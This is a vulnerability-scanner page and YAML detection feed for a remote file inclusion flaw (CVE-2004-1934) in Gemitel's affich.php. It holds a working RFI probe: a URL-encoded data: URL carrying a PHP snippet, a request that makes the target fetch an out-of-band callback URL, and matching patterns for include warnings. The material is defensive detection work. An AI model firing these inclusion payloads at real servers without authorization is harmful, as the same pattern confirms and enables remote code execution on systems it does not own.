Gemitel — 1 vulnerability check

noctis ships 1 vulnerability check for Gemitel, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Gemitel affich.php base Remote File Inclusion

CVECVE-2004-1934
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/gemitel/CVE-2004-1934.yaml

Tests Gemitel for the unauthenticated remote file inclusion in html/affich.php, which builds an include() path from the base request parameter. The feed requests html/affich.php under the usual install folders with base set to a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request. When OOB is enabled, base is also set to the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP output and errors are hidden. Otherwise, a PHP include warning naming a random value followed by a file name shows that the parameter reaches include() unchecked. The snippet only prints a hash and writes nothing on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{page}}?base={{probe.data}}
  3. Parses / computes the next value with a Rhai script
  4. Checks rce_proof for ^[0-9a-f]{32}$ → finding QoD 97: Gemitel affich.php base Remote File Inclusion (CVE-2004-1934)
  5. HTTP(S) request GET {{page}}?base={{probe.marker}}%2F
  6. Parses / computes the next value with a Rhai script
  7. Parses / computes the next value with a Rhai script
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET {{page}}?base={{oob_url}}%3F
  10. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Gemitel affich.php base Remote File Inclusion (CVE-2004-1934)
  11. Checks warn_proof for ^noctis[0-9A-Za-z]+/+[^'()<>\s/]+$ → finding QoD 75: Gemitel affich.php base File Inclusion (CVE-2004-1934)

References:

Feed source — tests/vulnerabilities/gemitel/CVE-2004-1934.yaml
# Gemitel 3.50 html/affich.php base remote file inclusion — CVE-2004-1934
#
# Gemitel (PHP) relies on register_globals: html/affich.php includes
# "sp-turn.php" from the folder named by $base, so
# html/affich.php?base=<x> includes "<x>sp-turn.php" before any check
# (NVD: "PHP remote file inclusion vulnerability in affich.php in Gemitel 3.50
# allows remote attackers to execute arbitrary PHP code via the base
# parameter"). The product source is no longer downloadable; the appended
# "sp-turn.php" comes from the reference check, which looks for
# "http://xxx.xxxxxx./sp-turn.php" in the reply. Every probe below works
# whatever the appended file name is.
#
# Detection, per usual install folder (/gimtel, the web root, /gemitel,
# /cgi-bin):
#   1. In-band code execution (QoD 97): base is a data: URL holding
#      <?php echo md5(A*B);exit;?> with random A and B. When PHP may include
#      URLs (allow_url_include, PHP >= 5.2) the code runs (the appended
#      "sp-turn.php" comes after exit) and the reply carries md5 of the
#      product, a value the request never contains. If the wrapper is refused,
#      PHP's warning quotes the code text, not the md5. No quotes in the code
#      (magic_quotes_gpc).
#   2. OOB (QoD 97, only when OOB is enabled): base is the noctis callback URL
#      followed by "?", so the appended file name lands in the query string; a
#      fetch of the URL is the remote inclusion (allow_url_fopen on PHP 4 /
#      5.0 / 5.1, allow_url_include later). Also covers servers that hide PHP
#      errors and output.
#   3. Fallback (QoD 75): base is a random name followed by "/"; the reply must
#      carry PHP's include() / main() / "Failed opening … for inclusion"
#      warning naming that name FOLLOWED by a file name: the value was
#      concatenated into include(). A page merely echoing the parameter never
#      adds the file name. The reference check matches its own literal URL in
#      the reply, which any page echoing the parameter also returns.
#
# CVSS: NVD v2 7.5 (no v3 score).
#
# Ported from OpenVAS/Greenbone NVT pre2008/gemitel_file_inclusion.nasl
# (OID 1.3.6.1.4.1.25623.1.0.12214, GPL-2.0-only), extended with the code
# execution and OOB proofs above.
uid: 34a427dc-12f2-47bf-bea5-260a2d1a684b
name: "Gemitel affich.php base Remote File Inclusion (CVE-2004-1934)"
description: |
  Tests Gemitel for the unauthenticated remote file inclusion in
  html/affich.php, which builds an include() path from the base request
  parameter. The feed requests html/affich.php under the usual install
  folders with base set to a data: URL carrying a small PHP snippet that
  prints the md5 of the product of two random numbers; that md5 in the reply
  confirms that the server ran code supplied in the request. When OOB is
  enabled, base is also set to the scanner's callback URL, and a fetch of
  that URL confirms the remote inclusion even when PHP output and errors are
  hidden. Otherwise, a PHP include warning naming a random value followed by
  a file name shows that the parameter reaches include() unchecked. The
  snippet only prints a hash and writes nothing on the server.
cves: [CVE-2004-1934]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [gemitel, php, rfi, remote-file-inclusion, rce, register-globals, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2004-1934"
  - "https://www.securityfocus.com/bid/10156"
  - "http://marc.info/?l=bugtraq&m=108206642725505&w=2"
  # OpenVAS/Greenbone NASL pre2008/gemitel_file_inclusion.nasl (GPL-2.0-only)

steps:
  # ── Probe values, shared by every folder ─────────────────────────────────
  # md5(A*B) is printed only when the included snippet actually runs.
  - id: build-probe
    action: script
    code: |
      let a = rand_int(10000, 99999);
      let b = rand_int(10000, 99999);
      #{
        data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
        expect: md5("" + (a * b)),
        marker: "noctis" + rand_str(12)
      }
    store_as: probe

  - id: init-warn-found
    action: set_var
    var_name: warn_found
    var_value: false

  - id: init-warn-path
    action: set_var
    var_name: warn_path
    var_value: ""

  - id: init-warn-proof
    action: set_var
    var_name: warn_proof
    var_value: ""

  - id: init-oob-sent
    action: set_var
    var_name: oob_sent
    var_value: false

  # ── Loop group: every following step up to the OOB wait runs once per
  # install folder. Each pass resets the values it reads.
  - id: init-rce-r
    action: set_var
    var_name: rce_r
    var_value: {status: 0, body: ""}
    loop:
      var: page
      over: ["/gimtel/html/affich.php", "/html/affich.php", "/gemitel/html/affich.php", "/cgi-bin/html/affich.php"]

  - id: init-warn-r
    action: set_var
    var_name: warn_r
    var_value: {status: 0, body: ""}

  - id: init-rce-proof
    action: set_var
    var_name: rce_proof
    var_value: ""

  # ── 1. data: URL — in-band code execution ────────────────────────────────
  - id: rce-probe
    action: http_request
    method: GET
    path: "{{page}}?base={{probe.data}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: rce_r

  - id: rce-check
    action: script
    code: |
      if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
    store_as: rce_proof

  - id: report-rce
    action: match
    source: rce_proof
    pattern: "^[0-9a-f]{32}$"
    condition: 'rce_proof != ""'
    on_match:
      finding:
        title: "Gemitel affich.php base Remote File Inclusion (CVE-2004-1934)"
        description: "An unauthenticated request to html/affich.php with base set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. affich.php includes a file from the folder named by base without any check, so an attacker can run any PHP code on the server."
        remediation: "Gemitel is no longer maintained: remove it from the server. Until then, block access to html/affich.php, disable register_globals and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{page}}?base=data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{rce_proof}} (included PHP code executed)"
      stop: true

  # ── 3. Random value — include() warning naming it plus a file (fallback) ─
  - id: warn-probe
    action: http_request
    method: GET
    path: "{{page}}?base={{probe.marker}}%2F"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    # Also when the code probe got no reply (status 0, e.g. a filter dropping
    # "<?php"): this plain request may still get through.
    condition: "warn_found == false && rce_r.status != 404"
    store_as: warn_r

  # The value must be followed by a file name inside the warning: include() of
  # "<value>/sp-turn.php". A page echoing the bare value is not enough.
  - id: warn-check
    action: script
    code: |
      let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
      let m = eregmatch("(?:Failed opening '|\\b(?:include|include_once|require|require_once|main)\\()(" + probe.marker + "/+[^'()<>\\s/]+)", b);
      if m.len() > 1 { m[1] } else { "" }
    condition: "warn_found == false"
    store_as: warn_hit

  - id: warn-path
    action: script
    code: "page"
    condition: 'warn_found == false && warn_hit != ""'
    store_as: warn_path

  - id: warn-proof
    action: script
    code: "warn_hit"
    condition: 'warn_found == false && warn_hit != ""'
    store_as: warn_proof

  - id: warn-found
    action: set_var
    var_name: warn_found
    var_value: true
    condition: 'warn_proof != ""'

  # ── 2. Callback URL — remote inclusion seen out of band ──────────────────
  # Sent to every folder not answering 404 (also when the code probe got no
  # reply), since a server hiding PHP errors gives no in-band sign. "%3F"
  # makes the appended file name a query string.
  - id: oob-probe
    action: http_request
    method: GET
    path: "{{page}}?base={{oob_url}}%3F"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled && rce_r.status != 404"

  - id: oob-sent
    action: set_var
    var_name: oob_sent
    var_value: true
    condition: "oob_enabled && rce_r.status != 404"

  - id: oob-wait
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && oob_sent"
    on_success:
      finding:
        title: "Gemitel affich.php base Remote File Inclusion (CVE-2004-1934)"
        description: "An unauthenticated request to html/affich.php with base set to the noctis callback URL made the server fetch that URL: affich.php includes a file from the folder named by base without any check, so an attacker can make it fetch and run PHP code from a server they control."
        remediation: "Gemitel is no longer maintained: remove it from the server. Until then, block access to html/affich.php, disable register_globals and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.65
        qod: 97
        evidence: "OOB HTTP callback received after GET <install folder>/html/affich.php?base=<OOB URL>? (remote file inclusion)"
      stop: true

  # ── Fallback finding: include() warning naming the random value ──────────
  - id: report-warn
    action: match
    source: warn_proof
    pattern: "^noctis[0-9A-Za-z]+/+[^'()<>\\s/]+$"
    condition: 'warn_proof != ""'
    on_match:
      finding:
        title: "Gemitel affich.php base File Inclusion (CVE-2004-1934)"
        description: "An unauthenticated request to html/affich.php with base set to a random value returned a PHP include warning for that value followed by a file name: affich.php passes base to include() without any check. Code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled), but the include path is attacker-controlled."
        remediation: "Gemitel is no longer maintained: remove it from the server. Until then, block access to html/affich.php, disable register_globals and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{warn_path}}?base={{probe.marker}}/ returned a PHP include warning for {{warn_proof}}"
      stop: true

View these feeds on GitHub